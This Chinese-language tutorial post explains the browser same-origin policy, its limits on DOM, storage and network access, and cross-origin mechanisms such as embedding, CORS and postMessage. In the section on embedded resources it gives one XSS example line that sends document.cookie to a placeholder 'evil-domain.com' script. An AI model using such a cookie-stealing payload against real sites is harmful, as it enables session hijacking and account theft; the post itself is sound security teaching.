懂你网络系列8之同源策略

一.简介

web世界最初是为知识共享而诞生的，所以开放是web世界的最基本的理念，我们的网站可以接入任何的资源的，可以去上传下载文本，图片，音频视频，软件等。但是这些行为如果在web世界绝对的自由，不施加任何限制的话，这将造成很多不可控的安全问题，比如我常见的钓鱼网站，如果没有一些安全措施，这些恶意的站点可以为所欲为，例如：
修改银行站点的 DOM、CSSOM 等信息；
在银行站点内部插入 JavaScript 脚本；劫持用户登录的用户名和密码；
读取银行站点的 Cookie、IndexDB 等数据；
甚至还可以将这些信息上传至自己的服务器，这样就可以在你不知情的情况下伪造一些转 账请求等信息。

既然如此，那么web世界就需要通过一些安全的策略来保障我们在互联网上隐私和数据安全。

同源策略（Same origin policy）就是来解决上述问题的。它是一种约定，它是浏览器最核心也最基本的安全功能，如果缺少了同源策略，则浏览器的正常功能可能都会受到影响。可以说Web是构建在同源策略基础之上的，浏览器只是针对同源策略的一种实现。

所谓同源就是指域名，协议，端口相同。不同源的客户端脚本在没有明确授权的情况下，不能读写对方的资源：
例如：与http://store.company.com/dir/page.html的源进行对比的示例

//1.同源：只有路径不同
http://store.company.com/dir2/other.html
//2.不同源：协议不同，一个是http一个https
https://store.company.com/secure.html
//3.不同源：端口不同-http默认端口是80，这里是81
http://store.company.com:81/dir/etc.html
//4.不同源：域名不同
http://news.company.com/dir/other.html

二.同源策略的限制范围

1.DOM层面的

限制了来自不同源的”document”对象或js脚本，对当前“document”对象的读取或设置某些属性。
例如：在百度官网中设置一个页面对象，对本页面的dom节点进行读写操作

2.数据层面

同源策略限制了不同源的站点读取当前站点的 Cookie、IndexDB、 LocalStorage 等数据。由于同源策略，我们依然无法通过第二个页面的 opener（页面的个页面的 window 对象） 来访问第 一个页面中的 Cookie、IndexDB 或者 LocalStorage 等内容

3.网络层面

Cookie和XMLHttprequest层面的同源策略，同源策略限制了通过 XMLHttpRequest 等方式将站点的数据发送给不 同源的站点。有时，AJAX已经加载不同源的脚本，但绝对不会被执行（浏览器拒绝接受响应）

三.同源策略的非绝对性

不过安全性和便利性是相互对立的，让不同的源之间绝对隔离，无疑是最安全的措施，但这 也会使得 Web 项目难以开发和使用。因此我们就要在这之间做出权衡，出让一些安全性来 满足灵活性；而出让安全性又带来了很多安全问题，最典型的是 XSS 攻击和 CSRF 攻击。

1.页面嵌入跨源资源

同源策略要求所有的资源均来自同一个源，也就说所有的页面文件包括HTML,CSS,JS，多媒体文件，都要部署在同一台服务器上，这显然违背了web的共享理念，同时带了很多限制。解决办法如下：

• 标签嵌入跨域脚本。语法错误信息只能被同源脚本中捕捉到。
• 标签嵌入CSS。由于CSS的松散的语法规则，CSS的跨域需要一个设置正确的 HTTP 头部 Content-Type 。不同浏览器有不同的限制： IE, Firefox, Chrome, Safari (跳至CVE-2010-0051)部分 和 Opera。

• 通过 img标签 展示的图片。支持的图片格式包括PNG,JPEG,GIF,BMP,SVG,…

• 通过 video和audio标签播放的多媒体资源

• 通过object，embed和applet标签嵌入的插件。

• 通过@font-face引入的字体。一些浏览器允许跨域字体，一些需要同源字体。

• 通过iframe标签载入的任何资源。站点可以使用X-Frame-Options

以上的这些对外部资源的引用，虽然给web世界带了便利，同时也带了许多的问题，很明显的就是，恶意程序可以劫持浏览器的内容，通过伪装成上述途径，在对浏览器进行攻击，如在HTML中通过 标签嵌入有害的跨域脚本，将有害的链接伪装成展示图片，点击图片后被钓鱼。
例如在图片中插入链接： (XSS攻击例子)

(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;

这些数据在被发送到浏览器（客户端）时，浏览器是无法区分被插入的文件是恶意的还是正常的，页面启动时，这些恶意的脚本就能对用户进行一些增删改查的有害操作。

2.跨域资源共享（网络层）

前面提到过同源策略限制了通过 XMLHttpRequest 等方式将站点的数据发送给不 同源的站点。那么如何进行允许跨域访问呢？可以使用 CORS 来允许跨源访问。它允许浏览器向跨域的服务器，发出XMLHttpRequest请求，从而克服了 AJAX 只能同源使用的限制。

CORS 是 HTTP 的一部分，它允许服务端来指定哪些主机可以从这个服务端加载资源。使用该机制可以进行跨域访问控制，从而使得跨域数据传输更加安全的进行（具体见下一系列CORS跨域资源共享）

3.跨文档消息机制（DOM层）

页面非同源的，是无法互相操作彼此的DOM，但是在日常的使用过程，却有很多的需要不同源DOM之间进行通信应用场景，比如应用有在页面中嵌入广告或嵌入地图应用，广告或地图设计为一个子Frame，它需要接收父页面的控制消息，完成相应的广告画面变换或地图位置的跳转等功能。

这里通常情况下广告页面或地图页面都是由第三方服务商提供的，所以它们和主页面的往往不在同一域名下。这里我们在主页面中访问子Frame中的变量或DOM节点，因为浏览器为了安全对此做了限制，禁止不在同一域名下的Frame相互访问或修改彼此页面内的变量或属性，否则或抛出异常

JavaScript 的 API 中，如iframe.contentWindow、 window.parent、window.open 和 window.opener 允许文档间直接相互引用。当两个文档的源不同时，这些引用方式将对 Window 和 Location对象的访问添加限制。详情见window.postMessage | MDN

四.参考

https://web.dev/same-origin-policy/

https://www.w3.org/Security/wiki/Same_Origin_Policy

window.postMessage | MDN